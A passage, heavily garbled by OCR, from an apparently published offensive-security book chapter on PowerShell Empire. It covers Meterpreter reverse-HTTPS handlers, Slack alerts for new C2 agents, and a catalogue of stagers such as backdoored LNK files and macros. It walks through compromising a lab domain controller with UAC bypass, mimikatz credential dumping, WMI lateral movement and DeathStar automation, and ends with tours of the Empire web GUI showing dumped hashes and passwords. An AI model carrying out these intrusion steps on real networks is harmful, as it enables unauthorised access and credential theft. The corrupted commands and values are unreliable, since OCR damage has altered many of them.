resource (rev_https_handler_8080.rc)= use exploit/multi/handler
resource {(rev_https_handler_8080.rc)= set payload windows/xb64/meterpreter/reverse_https
payload == windows/x64/meterpreter/reverse_https
resource (rev_https_handler_8080.rc)= set lhost 192.168.2.6
lhost == 192.168.2.6
resource {(rev_https_handler_8080.rc)= set lport 8686
lport == 8080
resource (rev_https_handler_8080.rc)= set exitonsession false
exitonsession == false
resource (rev_https_handler_8080.rc)= set exitfunc thread
exitfunc == thread
resource (rev_https_handler_8080.rc)= run

Exploit running as huckground job @
msf exploit( =

Started HTTPS reverse hundlpr on https://192.168.2.6:8080

Executing the Empire module shown earlier will inject our malicious DLL into
the process with the process ID of 1s96:

resource (rev_https_handler_8080.rc)= run -j
Exploit running as buckground job 0.
msf exploit( B)=
Started HTTPS reverse handlel on https://192.168.2.6:8080
https://192.168.2.6:8080 handling request from 192.168.2.9; (UUID: hf84cyyl) Staging x64 payload (207449 bytes) ...
Meterpreter session 1 opened (192.168.2.6:8080 -> 192.168. Z. 9:51434) at 2018-08-28 23:19:31 +0530

The Meterpreter session has now been opened! Let's confirm the session
information using the sessions command in Metasploit, as follows:

msf exploit( ) >
Sturth HTTPS reverse hundl@r on https://192.168.2.6: 8080
https://192.168.2.6:8080 handling request from 192.168.2.9; (UUID: hf84cyyl) Staging x64 payload (207449 bytes) ...
Meterpreter session 1 opened (192.168.2.6:8080 -» 192.168.2.9:51434) at 2018-08-28 23:19:31 +0530

msf exploit( ) = sessions

Act

Id MName Type Information Connection

1 meterpreter x64/windows PT-PC\PT @ PT-PC 192.168.2.6:8080 -> 192.168.2.9:51434 (192.168.2.9)

msf exploit( Y =

We can now use Metasploit modules for further exploitation.



<strong>Edit <listener> SlackToken <slack API token></strong>

dit Empire 5lackTo

(Empire:;

For this to work perfectly, we have to restart the listener. There's no restart
command in Empire, so we have to execute the disable and enable commands
in order to restart:

{Emp1re: 3 = disable Empire
(Empire: ) = enable Empire
* Sarying Flask app "http" {lozy looding)

* Environment: production

* Debug mode: off

(Empire;

Let's check the listener information and see if the slackToken field is updated or
not:



Empire

Walue

)
efault, n

anne
bind

(Empire:

Now, whenever an agent connection is made on this listener, we'll get a
notification on our slack channel:

mpire:

As we can see in the the following screenshot, a notification alert with the agent
information is displayed on our Slack channel:

Slack APl Tester APF 3:44 pi
:biohazard: NEW AGENT :biohazard:

Machine Name: PT-PC

Internal IP: 197.16%.7.7

External TP: 187.68.178.78

User: PT-PCMWPT

0% Version: Microsoft Windows 7 Ultimate
Agent ID: B1R4KNXG



We will get an alert whenever an agent connects back to the Empire C2. We can
plan the further attacks depending upon the information we get from Empire.
The following is the list of stagers available in Empire:

"(l;asrget Stager name Empire stager option Description
Generates a macro that
backdoors . 1nk files on the
Backdoor user's desktop. The
Windows|LNK Macro (windows/backdoorLnkMacro backdoored 1nk files
launcher therefore attempt to
download and execute an
empire launcher when the
user clicks on them.
Generates a Bash bunny
Windows Bunny windows/bunny script that runs a one-liner
launcher Stage 0 launcher for
Empire.
CH Gene.rates a PowerShell C#
WindowsPowerShell |windows/csharp_exe solution with embedd(.ed
launcher stager code that compiles
to an EXE.
DLL . Generates a PowerPick
Windows launcher windows/dll Reflective DLL to inject
with stager code.
Ducky . Generates a ducky script
Windows launcher windows/ducky that runs a one-liner Stage
0 launcher for Empire.
HTA . Generates an HyperText
Windows launcher windows/hta Application (HTA) for
Internet Explorer.
Windows BAT windows/launcher bat Generates a self—deletlr}g
launcher .bat launcher for Empire
Windows LNK windows/launcher 1nk Creates a . 1nk fllt? that
launcher launches the Empire stager.
Regsrv32 . Generates an SCT file
Windows launcher windows/launcher_sct (COM Scriptlet). This can




be hosted anywhere

Windows VBS windows/launcher vbs Generat(?s a .vbs launcher
launcher for Empire.
Windows Msbuild_xml windows/launcher xml Generate.s an XML file to
launcher be run with MSBuild.exe.
Generates an office macro
Windows Macro windows/macro for Emplre. T.hlS is
launcher compatible with office 97-
2003 and 2007 file types.
Macro-less Creates a macroless
Windows code . . |windows/macroless_msword document. utilizing a
execution in formula field for code
MSWord execution.
Shellcode _ Generates a windows
Windows|launcher ~ |Windows/shellcode shellcode stager.
Generates a Teensy script
Windows Teensy windows/teensy that runes a one-liner
launcher stageO launcher for
Empire.
Generates AppleScript to
Mac . : .
0SX Apple Script |osx/applescript execute the Empire stage0
launcher.
Mac o . : Generates an Empire
Application |osx/application B
0SX bp PP Application.
Mac Ducky Generates a ducl.<y script
osx/ducky that runs a one-liner stage0
0SX launcher :
launcher for Empire.
Mac Dylib osx/dylib (.“Jenerates a dynamic
0SX launcher library for OSX.
Mac JAR . :
osx/jar Generates a JAR file.
0SX launcher )
Mac  Default 0, /12uncher gﬁ;fcr)af;ifcﬁgf _flérrler
0SX launcher :
Empire.
Mac Generates a macho
Macho osx/macho
0SX executable.




An OSX office macro that

Mac OSX Apple oo /macro supports newer versions of

0OSX Script macro ,
Office.
Generates a pkg installer.
This installer will copy a
custom (empty) application

g[g;( Oasc)kia o osx/pkg to the /Applications

P & folder. The postinstall

script will execute an
Empire launcher.

Mac Safari Generates an HTML

0SX launcher osx/safari_launcher pay]oad launcher for
Empire.

Mac Teensy Generates a Teepsy script

0SX launcher osx/teensy that runs a one-liner stage(
launcher for Empire.

. : Generates self-deleting
Multi- [Bash Script ;1 ¢ /pagp Bash script to execute the
Platform |launcher :

Empire Stage 0 launcher.
Multi- Default Generates a one-liner Stage
PowerShell |multi/launcher .
Platform 0 launcher for Empire.
launcher
Generates a Win/Mac cross
Cross platform MS Office macro
Multi-  |platform multi/macro fO.l‘ Empi.re, compatible
Platform macro with Office 97-2016
launcher including Mac 2011 and
2016 (sandboxed).

. Generates an ELF binary
Multi- pylnstaller ., ¢, , pyinstaller payload launcher for
Platform |Launcher : .

Empire using pylnstaller.
Multi- |WAR multi/war GeneraFes a deployable
Platform |launcher WAR file.




Summary

In this chapter, we introduced Empire and its fundamentals. We have also
covered Empire's basic usage and the post exploitation basics for Windows,
Linux and OSX. We were also able to get a Meterpreter session opened using
Empire and, finally, used Slack as the alerting mechanism whenever an agent
connects back to the Empire C2. However, in an organization, accessing a server
is not enough. The final goal for intruding into the network should be to get full
access to the Domain Controller (DC). In the next chapter, we will cover how
we can use Empire to gain access to DC and how we can achieve this using
automated tools.



Questions

1. Is Empire free?
2. Does Empire use SSL for agent communication?
3. Does Empire have any GUI version for its usage?



Further reading

Read the following links for more information:

® https://github.com/EmpireProject/Empire

® http://www.powershellempire.com/

® https://www.swordshield.com/2017/10/slack-and-microsoft-teams-notifications-for-empi
re-and-meterpreter-agents/

® https://www.harmjoy.net/blog/about/


https://github.com/EmpireProject/Empire
http://www.powershellempire.com/
https://www.swordshield.com/2017/10/slack-and-microsoft-teams-notifications-for-empire-and-meterpreter-agents/
https://www.harmj0y.net/blog/about/

Age of Empire - Owning Domain
Controllers

In the previous chapter, we covered the basics of Empire and how to use Empire
efficiently to perform post-exploitation. Now we are in the network, what's the
next step? What can we do apart from exploring the target filesystem and
internal network service discovery? In every organization, a centralized server
will be present to control and manage the whole network. If an attacker can
compromise this central server, they would have full control over the entire
organization's network. This central server is called the Domain Controller
(DC), while the domain services that are provided by a Domain Controller are
known as Active Directory Domain Services.

In this chapter, we will cover the following topics:

¢ Getting into a Domain Controller using Empire
e Automating Active Directory exploitation using the DeathStar
e Empire GUI



Getting into a Domain Controller
using Empire

Most of the time, we get access to a web server with system privileges. When we
try to get access to the Domain Controller, however, this just doesn't work. One
of the reasons for this is the lack of knowledge related to Domain Controllers.
For those who are learning about privilege escalation and pivoting, you are about
to enter the world of lateral movement and Domain exploitation. Make sure that
you are familiar with some basic concepts related to Domains and Domain
Controllers. Start from: https://en.wikipedia.org/wiki/bomain_controller and move on
to other topics related to the Domain Controller before continuing with this
topic.

Assuming that you have some basic understanding of Domains, Domain
Controllers, and Active Directory Domain Services (AD/DS), let's continue

with the Active Directory exploitation. You should already have an active agent.
In our case, the agent is active and has the privileges of the pr user.

(Eupures agents) » st

N Lo Internal TP Macune e

NG s 926204 A1 T-0ET powershel

(Erpre:



https://en.wikipedia.org/wiki/Domain_controller

To get access to the Domain Controller, we first need to get access to a domain
user's account so that we can perform reconnaissance on the domain. Remember
that we can't gather information regarding a particular domain with a local
account. We need to have access to a domain user account so that the domain
user can communicate with the Domain Controller to get information.

Let's first escalate the privileges using the bypassuac_eventvwr module on the local
system so that we can have a higher security context to perform further attacks:

(Empire: ) > bypassuac Empire

The asterisk (+) in the username means that we have escalated the privileges for
the pruser:



(Emires agents) » st

Nne Lo Intermal 1P Nochure Nane

TA0FT powershe
O povershel

The next step would be to gather the credentials from the memory using mimikatz.
We will be able to find these if any domain user has logged on to this server
before. Using mimikatz, we can fetch the credentials of the domain users as well.

(Empre: ) » interact SYWLZHAN
(Empire: ) > mimikatz

(Empire:

Two domain users are found on this server: narry and john. We also found that the
domain is 133t.1ocal:



(Emre: ) > Crets
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In our current scenario, we have system privileges on the local server and we
have the credentials of two domain users: harry and jonn. What we need to do now
is to elevate from a local user to a domain user. We can do this using another
post module in Empire. In this situation, we can use the spawnas module in Empire
to spawn a new agent using the domain user:



(Emp1re; ) » Usemodule management/spownas
(Emp1re: ) > 1nfo

Nome: Invoke-Spawnds
Nodule: powershell/management/spawnas
NeadsAdmn: False
Upsectafe: False
Language: powershell
MinLanguageVersion: Z
Background: False
OutputExtension: None

Authors:
ryrsh3l | (@L24f4741)
Bharm 0y

Description:
Spawn an agent with the specified logon credentials.

Comments:
https://guthub.com/rvrsh3l 1 Mhsc-Powershel 1-
Seripts/blob/master/RunAs.psl

Opt1ons:

Name Required  Value Description

Jserhame Jsername to run the command os.

CredIl CradI0 from the store to use,

Domatn Opt1onal domatn,

Proxy Proxy to use for request (defoult, none,
or other),




Next, we'll set the credip, which can be found by executing the creds command,
and the Listener:

Listener  Trie L1stener 10 Lse,
defoult Proxy credentils

([domqtn\]usernane:passiord) to Use for
request (defoult, none, or other),

serdgent Folse  defoult ser-agent string to use for the staging
reguest (gefaul t, none, or other),

Possword False Password for the 'pﬂrmed Sernane.

Agnt i SWLZHN Agent to run module on,

(Bmptre: j (redID 6
(tptre: ) > set L stengr ipire

Once all the options are set, we can execute the module, which will create a
process using the domain user's credentials:



(Empire:

(Empire: s
Launcher bat written to C:\Users\Publichdebu !':',I.tl at

Hondles  WPMCK)  PMCK) ' VM) CPUCs) Id Pr

.00

A new agent is now online. This time, it's the sohn user:



Nome Lo Internol IP

Now that we have access to a domain user's account, we can move forward with
Domain Controller Reconnaissance. The first thing that we need to know is the
IP address of the Domain Controller. This can be found using the dnsserver
module in Empire:



(Empire: 3 > usemodule situational_awareness/host/dnsserver
(Empire: ) = info

Mame: Get-SystemDNSServer
Module:
bdmin:

iﬂﬂ:
ounds

: None

Jperator

Jescription:
Enumerates the DNS Servers used by o system.

Comments:

Options:

Name Reguired Yal ue

Agent True NI FZWCE Agent to run module on.

At the time of configuration, a DC will always try to set up a DNS server if this
is not already done. This Empire module will look for the primary and secondary
DNS servers:



(Empire:

As we can see, the IP 192.168.2.17 is the primary DNS server. There's a high
chance this IP could belong to the DC. To confirm this, we can use the

get_domain_controller module in Empire. This module will return information about
the DC for the current domain:



(Empire: ) > usemodule situational_awareness/network/powerview/get_domain_controller
(Empire: ) » 1nfo

Name: Get-DomatnController
Modules powershell/sttuational _gwareness/network/powerview/get_domain_controller
NeedsAdmin: False
OpsecSafes True
Language: powershell
MinLanguageVersion: Z
Bockgrounds True
OutputExtenston: None

Authors:
@harm By

Description:
Returns the domatn controllers for the current domain or the
specified domain. Part of PowerView,

Commentss
https://guthub.com/PowerShel IMaf1a/PowerSplo1t/blob/dev/Reco
n/

Options:
Nome  Required  Value Description

Domatn False The domatn to query for domatn
controllers,

LOAP False Sintch. Use LOAP queries to determine
the domain controllers,

Agent True NK7FZUCE Agent to run module on,

Server False Specifies an Active Directory server
(domatn controller) to bind to.

Let's set up the domain option here and execute the module so that it can look for




information regarding the specified domain:






As we can see from the preceding result, 192.168.2.17 is indeed the DC. The
get_domain_controller module provides us with the following information:

Forest 133t.local

OSVersion Windows Server 2008 R2 Enterprise

Roles SchemaRole, NamingRole, PdcRole, RidRole

IPAddress 192.168.2.17

Name WIN-9PIACAHV7U3.133t.local

Please TEfer'U)https://technet.microsoft.com/pt-pt/library/cc759073(v=ws.10).aspxtO
understand the basics of Domains and Forests.

To get information about the Forest, use the get_forest module:


https://technet.microsoft.com/pt-pt/library/cc759073(v=ws.10).aspx

(Empire: ) = usemodule sttuational _owareness/network/powerview/get_forest
(Bmpire: ) = 1nfo

Name: Get-Forest
Module: powershell/situational _awareness/network/poweryiew/get_forest

NeedsAdmn: False
Upsectafe: True

Longuage: powershel

MinLanguageVersion: 2

Background: True
OutputExtension: Mone

Authors:
BharmJQy

Description:
Return information about g given forest, including the root
domatn and SID, Part of FowerYiew,

Comments:
https://guthub. com/PowerShel IMatia/PowerSplo1t/blob/ dev/Reco
n/

Options:
Name  Required  Volue Description

Forest Folse The forest name to query domain for,
defaults to the current forest.
Agent True NK7F2NCE Agent to run module on.

The rorest name will be used in the get_forest module to retrieve information
about the specified rorest. This includes the root domain and its SID. Let's set the
Forest NAme to 133t.local, Which we retrieved from the get_domain_controlier
module:







As you can see in the preceding screenshot, we were able to retrieve the root
domain and its SID using the get_forest module. This gives us the following
information:

RootDomainSID S-1-5-21-3140846176-3513996709-3658482848

DomainDNSZones for 133t, local
ApplicationPartitions
ForestDNSZones for 133t, local

SchemaRoleOwner WIN-9PIACAHV7U3.133t.local

NamingRoleOwner WIN-9PIACAHV7U3.133t.local

Now that we have retrieved all the information regarding the 133t domain in the
Forest, let's look for other domains that are configured in the same Forest, if any
are available. This can be achieved using the get_forest_domain module. Use this
module to retrieve the information regarding Primary DC (PDC) as well as the
Role Owner:



(Emp1re: )
(Emp1re: ) > usemodule s1tuotional _owareness/network/powerview/get_forest_domain
(Emp1re: ) > 1nfo

Names Get-ForestDomain
Nodules powershell/s1tuotional _owareness/network/powerview/get_forest_domain
NeedsAdmn; Folse
OpsecSafe: Trus
Language: powershell
MinLanguageYersion: 2
Background: True
OutputExtenston: None

Authors:
Bharmyly

Description:
Return oLl domowns for o given forest. Part of PowerView,

Comments:
https://guthub, com/PowerShel Maf10/PowerSplo1t/blob/dev/Reco
n/
Uptions:
Nome  Required  Volue Description
Forest False The forest name to query domain for,

defoults to the current forest,
Agent True N7FAICD Agent to run module on.




Set the rorest name to 133t.1ocal to find all the domains in this forest:






We found that the 133t.10ca1 Forest has only one domain under it and that the
PDC is the same as the Domain Controller that we want to access. Let's confirm
all the information that we have gathered on the Domain Controller up until
now:

Forest 133t.local

OSVersion Windows Server 2008 R2 Enterprise

Roles SchemaRole, NamingRole, PdcRole, RidRole
IPAddress 192.168.2.17

Name WIN-9PIACAHV7U3.133t.local

RootDomainSID S-1-5-21-3140846176-3513996709-3658482848

DomainDNSZones for 133t, local
ApplicationPartitions
ForestDNSZones for 133t, local

SchemaRoleOwner WIN-9PIACAHV7U3.133t.local
NamingRoleOwner WIN-9PIACAHV7U3.133t.local
PdcRoleOwner WIN-9PIACAHV7U3.133t.local

Domain mode Windows2008Domain




Now that we know our target, let's move on to the lateral movement. To connect
to the Domain Controller using the domain user's credentials that we acquired
earlier, we can use the invoke_wni module in Empire:



(Empire: ) = usemodule lateral movement/1nvoke_wmt
(Emp1re: JERL

Nomes Invoke-WHI
Module: powershell/lateral _movement/1nvoke_um

NeedsAdnin: Faolse
Upsectafe: True

Language: powershell

MinLanguageVersions 2
Background: False
OutputExtension: None

Authors:
@Bharm1dy

Descriptions
Executes o stager on remote hosts using WML,

Options:

Nome Required  Volue Description

Listener  True L1stener to uUse.

CredID False CredID from the store to use.

ComputerName True Host[s] to execute the stager on, comma
separgted.

Proxy Folse Proxy to use for request (default, none,
or other).

UserNome  False [domatn’\]userndme to use to execute
command.

ProxyCreds  False defaul t Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).

UserAgent  False defaul t User-ogent string to use for the staging
request (default, none, or other).

Possword  False Possword to use to execute command.

Agent True VWL ZHAM Agent to run module on.




This module will execute the Empire stager on the target host in the network
using Windows Management Instrumentation (WMI). Let's set up the options
to run this module. Use the computer name that we retrieved from the earlier
Domain Controller reconnaissance:

> set (reglD 5
'fﬂf L1stener bpire
> set Computerome WIN-OPTACARVIL

(Eptre:
error rumning comand: Access 15 dented. (Ex "r"ﬂp 100 Trl m HRESULT: OxB007a0% (EACCESSORNTED)

Upon execution of this module, we get an e_accesspenien error, which means that
the credentials we used in this module are invalid. Let's try another set of
credentials that we acquired:

) s usemodule Tateral _movement/tnvoke
s 5et | ["H|']I[| y
) > set Listener Bnpire

| ? st Computertiome WIN-OPTACARVYLR

Execute the module with the new credentials:



(Enpire:

(Enpire:
Invoke-lim

We are in luck! We were able to log in to the Domain Controller using John's
credentials with the cred 1 6.

Let's check our agent list to confirm the active agent on the Domain Controller.



(Emmres c0ente) » Tist

e Lo Intemal P Hochune None

nohersneL |

This shows that we now have access to the Domain Controller. The asterisk next
to L33T\John Means that the sonn user is a domain admin.

Let's retrieve the credentials for Domain Administrator's account using mimikatz.
Remember that we can't run mimikatz on an unprivileged user; we need to have
higher privileges. We did not perform privilege escalation here as the user
already has a higher security context:

(Enpure: ) > mmkotz

(Empire:

The module was executed successfully. We can now use the creds command to



confirm the newly acquired credentials from the Domain Controller.

(Enpures SFTIEEL) > creds

redl) Credlype Dononn Lserlgne )5t s

harry

harry
WAL QLALLM

The whole process from reconnaissance to Domain Admin account access can
take a lot of time and it is easy to get confused in the reconnaissance phase.
Fortunately, we have an automation script to exploit the AD/DS to get access to
the Domain Controller in a matter of minutes.



Automating Active Directory
exploitation using the DeathStar

As explained by the creator:

"DeathStar is a Python script that uses Empire's RESTful API to automate gaining Domain Admin rights in
Active Directory environments using a variety of techniques."
- (Source: https://github.com/byt3bl33d3r/DeathStar)

To run DeathStar, we need to start Empire with a RESTful API. This can be
achieved with the following command:

--username <username to access the API>
{
{

sudo ./empire --rest --password <password to acc

§ sudo ./empire --rest --username harry --password harryl23

Once Empire starts, we'll see the following message:

* Starting Empire RESTful API on port: 1337

* RESTful API token: diZmzad9g onynty3nhfladdads]
* Serying Flask app “empire®™ (laozy

* Enviromment: production

* Debug mode: off

The message displayed in the previous screenshots indicates that the RESTful
API is running on port 1337/tcp and an API token has been allotted. There's a
huge security risk if we open port 1337/tcp for everyone. To avoid this, we will
create a reverse SSH tunnel to connect to the port securely:


https://github.com/byt3bl33d3r/DeathStar

whnZombi3xdx:~ Harryd ssh -NF -1 1337:127.0.0.1:1337 horry
har o 10c s

whaZombt3ak:~ Harryd

Confirm the tunnel has been created as follows:

winZombi 3k~ Harry$ netstat -an | grep 1337

tcpd ) B 127.0.0.1.1337 Yk LISTEN
tCph ] 0 ruldndl i LISTEN
whnZombi3xkx:~ Harryd

This shows that it has indeed been created successfully. Before starting
DeathStar, let's make sure we have an active agent in Empire:

e oDtemal P Wochire b Lsernae

To run DeathStar, we will execute the following command:

|./DeathStar.py -u harry -p harryi23



2ot ek DeathStar Harry . /DeathStar.py - harry -p harryL23
Poiertng Up the Death Star
F' "'H' 1ng for ogents

o Agent =» Nome: SAMMLFCR IP: 162,68, 126,28 Hosthame: PT-PC Userliome: L33T\narry HighIntegmity: @
Er SAILFQR =5 Starting recon

Upon execution, DeathStar acquires the active agent. In a matter of seconds,
DeathStar is able to find the following:

e The Domain SID
e The members in the Domain Admin group
e The Domain Controller

k2ot 3¢h: DeathStar Rarry$ ./ eathStar. py - harry -p harry123
Paiertng up the Death Star
Poll1ng for ogents

] lew Agent = e RM"NMF'F' IP: 182,68, 128,26 Hosthome: PT-PC Userhome: L33M\harry HighIntegrity: 0

Agent: SANMLFR =» Starting recon

R = IM dnnu oin SI0: 5-1--21- 31408461 To- 13

R = Fnum 1 HHHUPI’ HT HlH UHHM il LﬂHlH 5 roup

i

| Agente SANM
] Agent: St
gt SHMIRER =

After this, DeathStar then found that three users logged in to the target server,
one of which was a Domain Admin. DeathStar quickly ran lateral movement
modules and the domain privilege escalation module to get access:



=» FOUNG 0 actlve oomn sesstans: []
= Folnd 3 users Logged tnto Locolhost: ['LESTMdmmstrator”, "L arry", “PT-POWET']

DeathStar was able to get the credentials from memory for the administrator. It
then enumerated the admin processes and found the Domain Admin Credentials:

= (semane: [33T\Adnmstrotor Posshord: 123 Gaowelfe

All of this happened in a matter of seconds. That's the power of automation! For
more information regarding the workings of this tool, please refer to the flow




chart at the fOHOWiI’Ig link: https://byt3b133d3r.github.io/automating-the-empire-with-the
-death-star-getting-domain-admin-with-a-push-of-a-button.html

This example showed a simple way of getting access to the Domain Controller,
but the same method doesn't always work. Sometimes, you have to look for
different attack paths. You can then choose which path to use to access the
Domain Admin's account

The internal network exploitation techniques have grown so much because of
new red team tactics, techniques, and procedures (TTPs) that are now used to
find the attack paths using graph theories. The can be done using a tool called
Bloodhound, which is not covered in this book. For more information regarding
Bloodhound, please refer to the following website: https://github.com/BloodHoundan/B
loodhound/.

Note that DeathStar is just a tool that uses Empire post exploitation module
scripts to get a Domain Admin account. In some cases, however, we don't get the
account, so we have to perform manual lateral movement and try to exploit the
internal network systems. We can then try different ways to get access to the
Domain Controller.

In the next section, we will look at using Empire via a web interface.


https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html
https://github.com/BloodHoundAD/Bloodhound/

Empire GUI

It can sometimes be quite difficult to use Empire in command line mode. To
avoid this, we're going to look at how to use the Empire web interface, which
can be managed much more easily. To begin with, let's clone the GitHub
repository:

git clone https://github.com/interference-security/empire-web
; curitysempire-web

Now, move the empire-web directory to the /var/ww/ntm1 of your web server:

: ¢ s
1ndex . nginx-debian. html

%

Then, start the web service and check for the 1ogin.php page in empire-web. In this
case, we have configured a custom web service port, 9797/tcp:



< C | @ Not Secure | INMEESNNERE © 7 ©7/empire-web/login.php 1+ o] (o] as} o D [

#X Empire Web Llogn & About

PowerShell Empire Web

Empire IP Address

Empire Port

Empire Username

Empire Password

The biggest issue with accessing the Empire web in this case is that anyone can
access it. Because it's a web application, anyone can try and look for
vulnerabilities.

If we try to check for the 9797/tcp on the web server, it shows that the port is
accessible from any interface:

LISTEM

A quick Nmap port scan can help us get a clear picture:



STATE SERVICE
A7/ tcp open unknown

ess (1 host up) scanned in 2.581 seconds

As we can see in the preceding screenshot, port 9797 is accessible from any IP.
We need to find a way to access the Empire GUI web interface in a secure
fashion. We can do this by blocking the 9797/tcp for everyone and accessing it via
a reverse SSH tunnel.

Block port 9797/tcp on the firewall using the ufw tool. ufw is pre-installed in some
variants of Linux. If it isn't pre-installed, we can install it using the apt install ufw
-y command:

o wvpn: $ sudo ufw deny 9797
Pulw updntej

Fule |1[_u1| ted &)

Once the rules are added to the firewall chain, try to use Nmap again:



whxZombl3xEx ~ Harry$ nmop i - 0707

_t|_'Jr*1-1r|ﬂ Hrru'lp F.el H-1-L': nmrjp 0 :; : ;
NMap SCAn report for I “
Host 1s up (@.18s latency).

STATE SERVICE
Ftcp filtered unknown

1 IF address (1 host up) scanned in 1,272 seconds
(e Harry$

The port is now blocked from outside. If we try to access the web interface now,
we won't be able to connect:

€ X | O eemmmmm—o797/empire-: : a® @? ®

=]

This site can’t be reached
oot s long to respond.

Search Google forlllNNN_—= 797 empire web log

So, let's configure a reverse SSH tunnel using the following command:

|ssh -Nf -L 9797:127.0.0.1:9797 <SSH-user>@<SSH-server>



—Hf -L 9797:127.0.0.1:9797 harryé

LISTEM
LISTEM
CLOSE_WALT

As we can see in the previous screenshot, port 9797/tcp on the web server is
connected to our system through local port 9797/tcp. This means that we have

configured a tunnel on port 9797/tcp. Let's try to access the web service using our
local IP and port 9797/tcp:



€ () localhost:3797/empire-web/login.php ¥ n B@ i

# Empire Web Llogn & About

PowerShell Empire Web

Empire IP Address

Empire Port

Empire Username

Empire Password




We were successful! Let's add in the Empire IP Address, the Empire Port, the
Empire Username, and the Empire Password:

Empire IP Address

127.0.0.1

Empire Port

1337

Empire Username

harry

Empire Password

These credentials are the same as the ones we set when we ran DeathStar. When
we are logged in, we will see the Empire web interface, which shows us how
many listeners and agents there are:

< C | © localhost:9797/empire-web/dashboard.php - | g o @

g Empire Web # Dashboard +* Listeners ¥ Stagers < Agents = Modules |™ Credentials @ Reporting

PowerShell Empire Web

Currently, there are three listeners running and four agents active on our Empire
C2 server.



We can manage the listeners from the Listeners menu:

€& (O () localhost:9797/empire-web/dashboard.php

@ EmpireWeb  fDashboard JREIISEIERE

Show Al Listeners

Powers Search Listener by Name Web

Create a Listener
Kill Listener(s)

3 listeners currently active

Similarly, the stagers can be managed and generated from the Stagers menu:



& — C () localhost:9797/empire-web/dashboard.php

§Y EmpiraWeb A Deshboerd  +* Liteers

Show All Stagers

Powe rShe" Em Search Stager by Name

Generate Stager

3 listeners currently active

We can manage the agents from the Agents menu. This menu also contains some

extra features:

- C | ® localhost:9797/empire-web/dashboard.php

A Dashboard  + Listeners ¥ Stagers

#Y Empire Web

4 Agents ~

i= Modules | Credentials < Reporting Q Browser

PowerShell Empire W

Empire Listeners

3 listeners currently active

Empire Agents

4 agents currently active

Il

Show All Agents

Search Agent by Name
Show Stale Agents

Remove Stale Agents
Remove Agent

Agent - Run Shell Command
Show Agent Results

Delete Agent Results

Clear Queued Agent Tasking _
Rename Agent

Kill Agentis)

View Screenshots

View Webcam Videos

Once we have an active agent, we can use the supported post-exploitation
modules from the Modules menu for post exploitation as shown in the following

screenshot;



€ (|0 localhost:9797/empire-web/dashboard.php

ﬂ: EmpireWeh  ADashboard & Liteners - W Stagers - $-Agents - ESIUGTESE ™ Credentils  ® Reporing - @ Browser

Show All Modules

PowerShe" Empire Web Show Module by Name

Search for Module

Execute Module

3 listeners currently active

Empira Agents

The saved credentials can be viewed from the Credentials menu:

€ C | @ localhost:9797/empire-web/credentials.php | @ v"m@ 7 m:

a Empire Web # Dashboard  +* Listeners ¥ Stagers + = Modules |™ Credentials @ Reporting Q@ Browser

ID credtype domain host notes os password sid username
1 hash WIN- WIN- 2018- Microsoft Windows Server 2008 R2 a%aaef092ddad34f4e88d12e105ad¢cce Administrator
ODLKN6JCDHK  ODLKNBJCDHK 08-05 Datacenter
18:08:29
2  plaintext WIN- WIN- 2018~ Microsoft Windows Server 2008 R2 NJs*Z$z=jc? Administrator
ODLKN6JCDHK  ODLKNBJCDHK 09-08 Datacenter
18:08:29
3  hash tester-PC tester-PC 2018- Microsoft Windows 7 Professional 3291531560eb329c0e 1desa55e88a1e9 tester
09-08
06:40:37
4 plaintext tester-PC tester-PC 2018- Microsoft Windows 7 Professional root tester
09-08
06:40:37
5 plaintext *XxZombi3xXx.local 2018- Darwin,xXxZombi3xXx.local,17.0.0,Darwin  test123
09-08 Kernel Veersion 17.0.0: Thu Aug 24
16:53:10  21:48:19 POT 2017; root:xnu-
4570.1.46~2/RELEASE_X86_64,x86_64

We can see the logged events from the Reporting menu. Using this page, we can
trace the modules that we used in a post-exploitation scenario:



& C | @ localhost:9797/empire-web/dashboard.php o iy

g Empire Web  ftDashboard  #* Listeners W Stagers 4 Agents = Modules [™ Credentials GRS EY

All Logged Events
PowerShell Empire Web Ao oo
Logged Events - Type
Logged Events - Msg
Empire Listeners

3 listeners currently active

Empire Agents

4 agents currently active

Go to Listeners and then Show All Listeners to list all the running listeners:

e C | (@ localhost:9797/empire-web/dashboard.php

#Y Empire Web  fDashboard [EEHERCLEER

Show All Listeners
Powe rS Search Lis_tsnar by Name Web
Create a Listener
Kill Listener(s)

3 listeners currently active

Currently there are three listeners running, http, Empire, and DeathStar:

€ C @ localhost:9797/empire-web/show-all-listeners.php e a “ﬂ (i) w ¢

a Empire Web # Dashboard J v = Modules [ Credentials @ Reporting @ Browser

Listener Name: http
Listener Name: Empire

Listener Name: DeathStar

To create a listener, we can go to Listeners and then Create a Listener:



= @ | ® localhost:9797/empire-web/dashboard.php

ﬁgﬁ Empire Web it Dashboard [EEARSEISERGN ¥ Stagers & Agents

Show All Listeners

P0we rS Search Listener by Name Web

Create a Listener
Kill Listener(s)

3 listeners currently active

Empire Agents

This sub-menu will bring up the listener creation page. We can choose the type
of listener to create from the Listener Type drop-down list. In this case, let's use
the listener type http:

- C | ® localhost:8797/empire-web/create-listener.php

j@j Empire Web  frDashboard & Listeners ¥ Stagers 4 Agents i= Modules | Credentials @ Reporting @ Browser

Listener Type ~ Listener Name

hitp
http_hop
| hitp_mapi
any "Listener Type" above. Select one to view options for it.
| http_foreign

http_com

onedrive
dbx
merterpreter

redirector

When we choose http as the listener type, the listener settings are displayed. We
can add the information required and set the name:



jocalhost:8797/empire-webj/create-listener.php?type=http * e ,‘ '|_| '
< C | ® localhost:9797/; bfcreate-| hp?! d ¥ o o) s

a Empire Web ft Dashboard & Listeners 4 iE Modules |~ Credentials @ Reporting @ Browser

Create Listener

Additional Options:

Name Description Required  Value
BindIP The IP to bind to on the control server. Yes 0.0.00
CertPath Certificate path for https listeners. No

DefaultDelay Agent delay/reach back interval (in seconds). Yes 5
DefaultJitter Jitter in agent reachback interval (0.0-1.0). Yes 0
DefaultLostLimit Number of missed checkins before exiting Yes 50
DefaultProfile Default communication profile for the agent. Yes

fadmin/get.php,/news.t

Host Hostname/IP for staging. Yes http://207.148.124.20:4
KillDate Date for the listener to exit (MM/dd/yyyy). No
Launcher Launcher string. Yes

powershell -noP -sta -w

Everything is now ready to start the listener. Click on the Create button. Empire
will then create the listener and you'll receive a message saying Listener
<listener_name> successfully started:

i C | @© localhost:9797/empire-web/create-listener.php

jgj Empire Web  fDashboard & Listeners ¥ Stagers < Agents iE Modules | Credentials @ Reporting @ Browser

Listener Type = Listener Name +" Listener test successfully started

Additional Options:

